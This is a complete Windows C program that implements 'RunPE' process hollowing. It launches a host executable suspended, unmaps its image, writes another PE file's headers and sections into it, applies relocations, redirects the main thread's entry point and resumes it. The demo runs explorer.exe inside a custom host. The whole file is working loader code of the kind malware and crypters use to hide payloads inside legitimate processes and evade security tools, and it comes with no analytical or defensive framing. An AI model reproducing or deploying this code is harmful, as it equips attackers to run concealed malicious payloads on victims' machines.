#include <windows.h>
#include <stdio.h>
typedef ULONG (WINAPI *tNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
typedef ULONG (WINAPI *tNtQueryInformationProcess)(HANDLE ProcessHandle,DWORD ProcessInformationClass,
PVOID ProcessInformation,ULONG ProcessInformationLength,PULONG ReturnLength);
typedef struct{
PIMAGE_DOS_HEADER dos_header;
PIMAGE_NT_HEADERS nt_headers;
PIMAGE_SECTION_HEADER section_header;
LPBYTE file_data;
}NEW_PROCESS_INFO, *PNEW_PROCESS_INFO;
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[1];
PVOID ImageBaseAddress;
PVOID Ldr;
PVOID ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PVOID PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
BOOL get_replacement_info(const char* full_file_path, PNEW_PROCESS_INFO new_process_info){
DWORD bytes_read;
HANDLE hFile=CreateFileA(full_file_path,GENERIC_READ,FILE_SHARE_READ,NULL,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
return FALSE;
DWORD file_size=GetFileSize(hFile,NULL);
new_process_info->file_data=(LPBYTE)malloc(file_size*sizeof(LPBYTE));
if(ReadFile(hFile,new_process_info->file_data,file_size,&bytes_read,0)){
new_process_info->dos_header = (PIMAGE_DOS_HEADER)(&new_process_info->file_data[0]);
new_process_info->nt_headers = (PIMAGE_NT_HEADERS)(&new_process_info->file_data[new_process_info->dos_header->e_lfanew]);
return TRUE;
}
free(new_process_info->file_data);
CloseHandle(hFile);
return FALSE;
}
BOOL RunPE(LPSTR file, LPSTR host){
NEW_PROCESS_INFO new_process_info;
HMODULE hNtdll=GetModuleHandleA("ntdll.dll");
tNtUnmapViewOfSection NtUnmapViewOfSection=(tNtUnmapViewOfSection)
(GetProcAddress(hNtdll,"NtUnmapViewOfSection"));
tNtQueryInformationProcess NtQueryInformationProcess=(tNtQueryInformationProcess)
(GetProcAddress(hNtdll,"NtQueryInformationProcess"));
if(!NtUnmapViewOfSection||!NtQueryInformationProcess)
return FALSE;
if(get_replacement_info(file,&new_process_info)){
PROCESS_INFORMATION process_info;STARTUPINFOA startup_info;
RtlZeroMemory(&startup_info,sizeof(STARTUPINFOA));
if(CreateProcessA(NULL,host,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&startup_info,&process_info)){
//Get client base address
PEB Peb;PROCESS_BASIC_INFORMATION pbi;/*ProcessBasicInformation*/
NtQueryInformationProcess(process_info.hProcess,0,&pbi,sizeof(pbi),NULL);
ReadProcessMemory(process_info.hProcess,(LPCVOID)pbi.PebBaseAddress,&Peb,sizeof(Peb),NULL);
//Reloc new process
if(new_process_info.nt_headers->OptionalHeader.ImageBase!=(DWORD)Peb.ImageBaseAddress){
DWORD Delta=((DWORD)Peb.ImageBaseAddress-new_process_info.nt_headers->OptionalHeader.ImageBase);
if(new_process_info.nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress){
PIMAGE_BASE_RELOCATION pIBR=NULL;
DWORD pRVAIBR=(DWORD)new_process_info.nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
for(int i=0;i<new_process_info.nt_headers->FileHeader.NumberOfSections;i++){
PIMAGE_SECTION_HEADER pimage_section_header=(PIMAGE_SECTION_HEADER)(
(LPBYTE)&new_process_info.nt_headers->OptionalHeader+new_process_info.nt_headers->FileHeader.SizeOfOptionalHeader+
(i*sizeof(IMAGE_SECTION_HEADER))
);
if((pRVAIBR>=pimage_section_header->VirtualAddress)&&(pRVAIBR<=(pimage_section_header->VirtualAddress+pimage_section_header->SizeOfRawData))){
PIMAGE_SECTION_HEADER section=(PIMAGE_SECTION_HEADER)pimage_section_header;
pIBR=(PIMAGE_BASE_RELOCATION)(pRVAIBR+section->PointerToRawData-section->VirtualAddress+new_process_info.file_data);
break;
}
}
PBYTE dest=NULL;
for(;pIBR->VirtualAddress>0;){
DWORD pRVAIBR=(DWORD)pIBR->VirtualAddress;
for(int i=0;i<new_process_info.nt_headers->FileHeader.NumberOfSections;i++){
PIMAGE_SECTION_HEADER pimage_section_header=(PIMAGE_SECTION_HEADER)(
(LPBYTE)&new_process_info.nt_headers->OptionalHeader+new_process_info.nt_headers->FileHeader.SizeOfOptionalHeader+
(i*sizeof(IMAGE_SECTION_HEADER))
);
if((pRVAIBR>=pimage_section_header->VirtualAddress)&&(pRVAIBR<=(pimage_section_header->VirtualAddress+pimage_section_header->SizeOfRawData))){
PIMAGE_SECTION_HEADER section=(PIMAGE_SECTION_HEADER)pimage_section_header;
dest=(PBYTE)(pRVAIBR+section->PointerToRawData-section->VirtualAddress+new_process_info.file_data);
break;
}
}
if(dest){
PWORD relInfo=(PWORD)((PBYTE)pIBR+IMAGE_SIZEOF_BASE_RELOCATION);
for(DWORD i=0;i<((pIBR->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION)/2);i++,relInfo++){
if((*relInfo>>12)==IMAGE_REL_BASED_HIGHLOW){
PDWORD pAddress=(LPDWORD)(dest+(*relInfo&0xfff));
*pAddress+=Delta;
}
}
}
pIBR=(PIMAGE_BASE_RELOCATION)(((DWORD)pIBR)+pIBR->SizeOfBlock);
}
}else{
puts("no reloc table");
TerminateProcess(process_info.hProcess,0);
return FALSE;
}
new_process_info.nt_headers->OptionalHeader.ImageBase=(DWORD)Peb.ImageBaseAddress;
}
//Remove target memory code
NtUnmapViewOfSection(process_info.hProcess,(PVOID)new_process_info.nt_headers->OptionalHeader.ImageBase);
//Allocate memory in target process starting at replacements image base
VirtualAllocEx(process_info.hProcess,(PVOID)new_process_info.nt_headers->OptionalHeader.ImageBase,
new_process_info.nt_headers->OptionalHeader.SizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
//Copy in PE header of replacement process
WriteProcessMemory(process_info.hProcess,(PVOID)new_process_info.nt_headers->OptionalHeader.ImageBase,
&new_process_info.file_data[0],new_process_info.nt_headers->OptionalHeader.SizeOfHeaders,NULL);
//Write in all sections of the replacement process
for(int i=0;i<new_process_info.nt_headers->FileHeader.NumberOfSections;i++){
//Get offset of section
int section_offset=new_process_info.dos_header->e_lfanew+sizeof(IMAGE_NT_HEADERS)+(sizeof(IMAGE_SECTION_HEADER)*i);
new_process_info.section_header=(PIMAGE_SECTION_HEADER)(&new_process_info.file_data[section_offset]);
//Write in section
WriteProcessMemory(process_info.hProcess,(LPVOID)((DWORD_PTR)new_process_info.nt_headers->OptionalHeader.ImageBase+
new_process_info.section_header->VirtualAddress),&new_process_info.file_data[new_process_info.section_header->PointerToRawData],
new_process_info.section_header->SizeOfRawData,NULL);
}
//Get CONTEXT of main thread of suspended process, fix up EAX to point to new entry point
CONTEXT thread_context;
thread_context.ContextFlags=CONTEXT_FULL;
GetThreadContext(process_info.hThread,&thread_context);
thread_context.Eax=new_process_info.nt_headers->OptionalHeader.ImageBase+new_process_info.nt_headers->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(process_info.hThread,&thread_context);
//Resume the main thread, now holding the replacement processes code
ResumeThread(process_info.hThread);
free(new_process_info.file_data);
return TRUE;
}else
puts("createprocess fail!");
}else
puts("get_replacement_info fail!");
return FALSE;
}
int main(void){
RunPE("C:\\WINDOWS\\explorer.exe","C:\\CodeBlocks\\Examples\\MyApp.exe");
system("pause");
return 0;
}